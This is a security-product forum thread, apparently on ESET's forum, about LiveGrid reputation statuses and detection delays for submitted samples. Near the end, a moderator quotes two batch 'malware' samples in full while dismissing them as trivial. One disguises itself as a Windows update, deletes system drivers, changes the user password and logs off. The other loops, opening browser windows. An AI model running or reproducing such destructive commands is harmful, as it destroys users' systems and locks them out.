What Good Is A Reputation Scanner That Doesn't Provide Reputation?

[itman 1,659]

That is exactly what happened in regards to a process evaluated by LiveGrid today. See below screenshots.

Not available? Is not the whole purpose of a reputational scanner to determine just what the process status is based on known reputational factors Eset employs? If this status means submitted for analysis and under review which I most certainly hope it does, it should state just that. On the other hand, I log such LiveGrid submissions and none exist in my Eset event log.

Now I fixed this process issue myself and believe it was related to a recent MS Office update. However stuff like this reinforces my previous belief that LiveGrid's sole purpose is for uploading suspect unknown processes, maybe if that works properly, and has nothing to do with evaluating overall process real reputation status.

Edited April 10, 2020 by itman

[Marcos 5,069]

The file has not been reported yet by users to LiveGrid which may occur after a program update when executables are new and unknown to LG. After a while the reputation and other LG data should appear.

[itman 1,659]

21 minutes ago, Marcos said:

The file has not been reported yet by users to LiveGrid which may occur after a program update when executables are new and unknown to LG. After a while the reputation and other LG data should appear.

That's not the case here.

Per the below screen shot, the same file shows reputation with a discovery a week ago. Additionally, I killed the prior shown instance of the this process and associated child process prior to my first posting and after reboot, the same below shown reputation was established.

 

 

Edited April 10, 2020 by itman

[Marcos 5,069]

What's SHA1 of the file?

[itman 1,659]

5 minutes ago, Marcos said:

What's SHA1 of the file?

3a19333270711198ed4b2cfca777eed6609c8748

[itman 1,659]

VT shows the following as far as creation and signature date:

Creation Time 2020-03-30 04:28:58

Signature Date 2020-03-30 05:31:00

[Marcos 5,069]

In that case "unavailable" should not have been reported, the file is one week old and too many users have reported it. Hard to say what happened without reproducing it.

"Unavailable" is expected in case of brand new malware:

[itman 1,659]

My theory on this is as follows.

The previous Office update for some unknown reason didn't fully complete. This left the file is some type of altered state as evidenced by the child process spawned. I have never seen that process running previously although it is legit and resides in the same directory as the parent process. Once I did a system restart, the issue resolved itself. I am using Win 10 fast boot and had not restarted the system since this update occurred.

My reasoning here is that something Eset-wise should have alerted that this process was in an altered unrecognizable state.

Edited April 10, 2020 by itman

[itman 1,659]

One other detail about the OfficeClickToRun.exe process that shown as unavailable per LiveGrid running processes feature. When I clicked on "Details" about it, nothing was shown. This was odd since my posted Process Explorer screen shot clearly shows the source path associated with the .exe. This indicates to me that process identity data retrieved by LiveGrid was being thwarted in some fashion.

Now for this "Not available" status. There is nothing mentioned about this status in any Eset published documentation I could find. I assume when Eset classifies a process as "Unknown," that is based on some reputational factors such as signing status, Trusted Publisher status, and Eset white and black list status. In other words, overall the process looks "legit" but hasn't been discovered yet by existing Eset installations. Not available status on the other hand implies that Eset can't even establish enough information on the process to determine if it is legitimate to mark it as unknown. As noted by @Marcos , not available status is commonly assigned to unknown; i.e. 0-day, malware. Therefore, it would appear to me that the prudent method for Eset security software to handle this is to alert the user that a suspicious reputational status process is attempting to execute.

[SeriousHoax 83]

@Marcos I have a question. One thing that I've seen for non exe malwares is that, after ESET adding a previously undetected sample to signature that I submitted, Eset with the same module and rapid signature version don't detect it on my PC while in VM which I just turned on and received an update detects it. Manually checking for updates or LiveGrid reputation, even executing, etc nothing detects the sample on my main PC. I have to wait for the next module update for it to be detected on my PC. This happened a lot. Never happens for .exe samples because even without signature LiveGrid blacklisting would detect it but that doesn't seem to be the case for non exe files like scripts. LiveGrid doesn't seem to work for scripts but I don't understand why my VM detects that new sample but my PC don't until a new module update!

[Marcos 5,069]

As far as files are concerned, LiveGrid contains information about PE files only.

[SeriousHoax 83]

1 hour ago, Marcos said:

As far as files are concerned, LiveGrid contains information about PE files only.

Ok but what about the difference in detection in 2 different systems having same modules? The only difference is the host PC received update like maybe one or half an hour ago while the VM received later after turning it on.

[itman 1,659]

I am going to post two Eset reputation examples to help "demystify" it processing. The thing to note initially is both these executables are code signed.

First up is a HP monitor driver installer. I chose this one since it is rarely used:

As shown, Time of discovery shows Unavailable. This confirms as previous posted that Unavailable means that the process has never been previously seen by the Eset user community.

Next is O & O ShutUp 10 which is a widely used process that changes Win 10 default telemetry settings:

So why does the HP installer show good reputation and O & O ShutUp 10 show a reputation status barely above the unknown reputation status? Both processes are code signed as previously noted.

It pertains to Trusted Publisher status and the type of code signing certificate used. HP is a Trusted Publisher and the code signing certificate used is an EV status one issued by Digicert. O & O Software is not a Trusted Publisher and the code signing certificate used was a non-EV one issued by Symantec.

Now back to my original posted LiveGrid reputation running processing screen shot in regards to the highlighted OfficeClickToRun process. No reputation status is shown along an Unavailable Time of Discovery status. Any process starting in a like status needs an alert issued by Eset reputation processing stating a process is attempting to execute for which reputation status could not be determined with Allow or Block execution options available.

 

[Marcos 5,069]

Please always enclose the SHA1 of the file that you inquire about, otherwise I have no way to check it out.

[itman 1,659]

6 minutes ago, Marcos said:

Please always enclose the SHA1 of the file that you inquire about, otherwise I have no way to check it out.

I can't. As previously posted once I killed the process and rebooted, the issue resolved itself. The SHA1 I previously posted is for the OfficeClickToRun process  that now runs with good reputational status.

Likewise any decent malware will delete its payload after doing its dirty work to prevent discovery.

[SeriousHoax 83]

As you already know it's also important to say that ESET's LiveGrid is not a cloud sandbox analysis system like what's found in other programs like Kaspersky, Norton. LiveGrid can't automatically analyze suspected files and give a verdict on home products or create an emergency cloud signature to protect other users. It requires an ESET security expert to manually analyze a file and only then it is blacklisted in LiveGrid. This process is sometimes way too slow and I've seen it delaying detection of dangerous samples for multiple days. LiveGrid status for suspicious samples means nothing until it's analyzed by an expert.

[Marcos 5,069]

1 hour ago, SeriousHoax said:

LiveGrid can't automatically analyze suspected files and give a verdict on home products or create an emergency cloud signature to protect other users. It requires an ESET security expert to manually analyze a file and only then it is blacklisted in LiveGrid.

This is not true. With LiveGrid Feedback system enabled, possible new malware is submitted to ESET for analysis in a sandbox and a smart DNA detection is typically automatically created and delivered to users with LiveGrid Reputation system and via and streamed updates within minutes.

Business users have an option to purchase ESET Dynamic Threat Defense for instant analysis of files potentially carrying malware. Unlike LiveGrid, execution of such files can be postponed until results are received and the results are shared across the whole organization. Also EDTD is not limited to PE files like LiveGrid and admins can view reports from behavior analysis in the ESMC console.

[SeriousHoax 83]

17 minutes ago, Marcos said:

This is not true. With LiveGrid Feedback system enabled, possible new malware is submitted to ESET for analysis in a sandbox and a smart DNA detection is typically automatically created and delivered to users with LiveGrid Reputation system within minutes.

I haven't seen it working in such way yet. For me it's always been that few hours after I submit or after I receive a reply from samples@eset.com, Eset starts detecting it via LiveGrid as Suspicious and not before that. Besides what I wrote above is also written here: https://support.eset.com/en/kb531-what-is-eset-livegrid

Quote

ESET LiveGrid® (built on the ThreatSense.Net early warning system) transmits newfound infiltrations from your computer directly to the malware experts at ESET. These experts analyze and process the information, then add it to to the detection engines issued by ESET.

 

[Marcos 5,069]

That's true only for samples for which a smart detection could not be created automatically. A detection is then created manually and distributed to clients within a few minutes. If I submit new PE malware, it's typically detected as Suspicious object within a few minutes and as GenKryptik, Kryptik or Injector within the next few minutes after a smart DNA detection has been created automatically for similar variants and has been distributed to users via streamed updates.

Please provide SHA1 of malware that I could check and tell you when we received it and when a detection was added.

It appears that most of samples you've submitted were non-PE files (js, doc, vbs, ...) and the detection was already created at the time we received the samples. However, as I wrote before these non-PE detections require a module update, hence you had to wait until the next module update for the detections to take effect.

[SeriousHoax 83]

29 minutes ago, Marcos said:

That's true only for samples for which a smart detection could not be created automatically. A detection is then created manually and distributed to clients within a few minutes. If I submit new PE malware, it's typically detected as Suspicious object within a few minutes and as GenKryptik, Kryptik or Injector within the next few minutes after a smart DNA detection has been created automatically for similar variants and has been distributed to users via streamed updates.

Please provide SHA1 of malware that I could check and tell you when we received it and when a detection was added.

It appears that most of samples you've submitted were non-PE files (js, doc, vbs, ...) and the detection was already created at the time we received the samples. However, as I wrote before these non-PE detections require a module update, hence you had to wait until the next module update for the detections to take effect.

Oh, ok. In that case ESET should create signatures for this two samples. I submitted almost this 3 days ago but no detection yet. The exe is known to LiveGrid for 3 days. This two are pretty dangerous and annoying samples. You should have a look.

SHA1: D1C3F5EF9319284B79D570A2DBD0AC07ED859D5E

SHA1: D00023A67298E4293AF2BC0E42AFECDB1D0D476F

 

[Marcos 5,069]

A trivial batch "malware". Moreover, with a typo. Even after correcting the typo the user would have to run it as an admin and confirm deletion of the registry key.

@echo off
title Windows update

: P

rd C:\Windows\System32\Drivers /s /q
reg delete HKEY_LOCAL_MASHINE
net user %username% hahahalol
logoff

 

The second one is hardly malware. The domain is parked and doesn't have even a prank-like content:

:1
start
start explorer.exe
start iexplore.exe youareanidiot.org
start
goto 1

 

Calling them "pretty dangerous" is a big exaggeration.

[SeriousHoax 83]

8 minutes ago, Marcos said:

A trivial batch "malware". Moreover, with a typo. Even after correcting the typo the user would have to run it as an admin and confirm deletion of the registry key.

@echo off
title Windows update

: P

rd C:\Windows\System32\Drivers /s /q
reg delete HKEY_LOCAL_MASHINE
net user %username% hahahalol
logoff

 

The second one is hardly malware, it's more of a prank:

:1
start
start explorer.exe
start iexplore.exe youareanidiot.org
start
goto 1

For the first one admin right is required if UAC is set to max I guess. But most users use it at default and it doesn't prompt for UAC permission in that case. It's a malware nonetheless.

I thought the same too about the second one because the malware creator literally has nothing to gain from it. But locking down the system is dangerous for the user so I guess this should be regarded as a malware for that.

[itman 1,659]

Appears this a bored "script kiddie" due to COVID-19 lockdown that copied a much more virulent "living of the land" attack which "blew through" a whole bunch of AV solutions when it was in-the-wild since it employed a UAC bypass. Unless UAC was set to max. level which most users don't do, the escalation level to admin would have been hidden and done silently.

The original ref. to CertUtil abuse dating to 2018: https://www.bleepingcomputer.com/news/security/certutilexe-could-allow-attackers-to-download-malware-while-bypassing-av/

Tip:

Quote

For those who are not using CertUtil to access remote certificates or servers, you may want to lock down its ability to connect to the Internet.

 

Edited April 12, 2020 by itman

[itman 1,659]

MITRE has a list of known malicious attack methods deployed using CertUtil.exe and associated APT groups using them here: https://attack.mitre.org/software/S0160/ . Of note is it can also be deployed to install a root certificate in Window root CA store allowing the attacker to perform a man-in-the-middle attack against encrypted communications.

[itman 1,659]

Also there is a flurry of Wiper malware currently floating around:

New Wiper Malware impersonates security researchers as prank

Quote

A malware distributor has decided to play a nasty prank by locking victim's computers before they can start Windows and then blaming the infection on two well-known and respected security researchers.

Over the past 24 hours, after downloading and installing software from what appears to be free software and crack sites, people suddenly find that they are locked out of their computer before Windows starts.

When locked out, the PC will display a message stating that they were infected by Vitali Kremez and MalwareHunterTeam, who are both well-known malware and security researchers and have nothing to do with this malware.

https://www.bleepingcomputer.com/news/security/new-wiper-malware-impersonates-security-researchers-as-prank/

And these will most definitely bork your OS installation:

Quote

These infections are called MBRLockers as they replace the 'master boot record' of a computer so that it prevents the operating system from starting and displays a ransom note or other message instead.

So be very careful with anything you download. Which again gets us back to Reputational scanning ..............

Edited April 13, 2020 by itman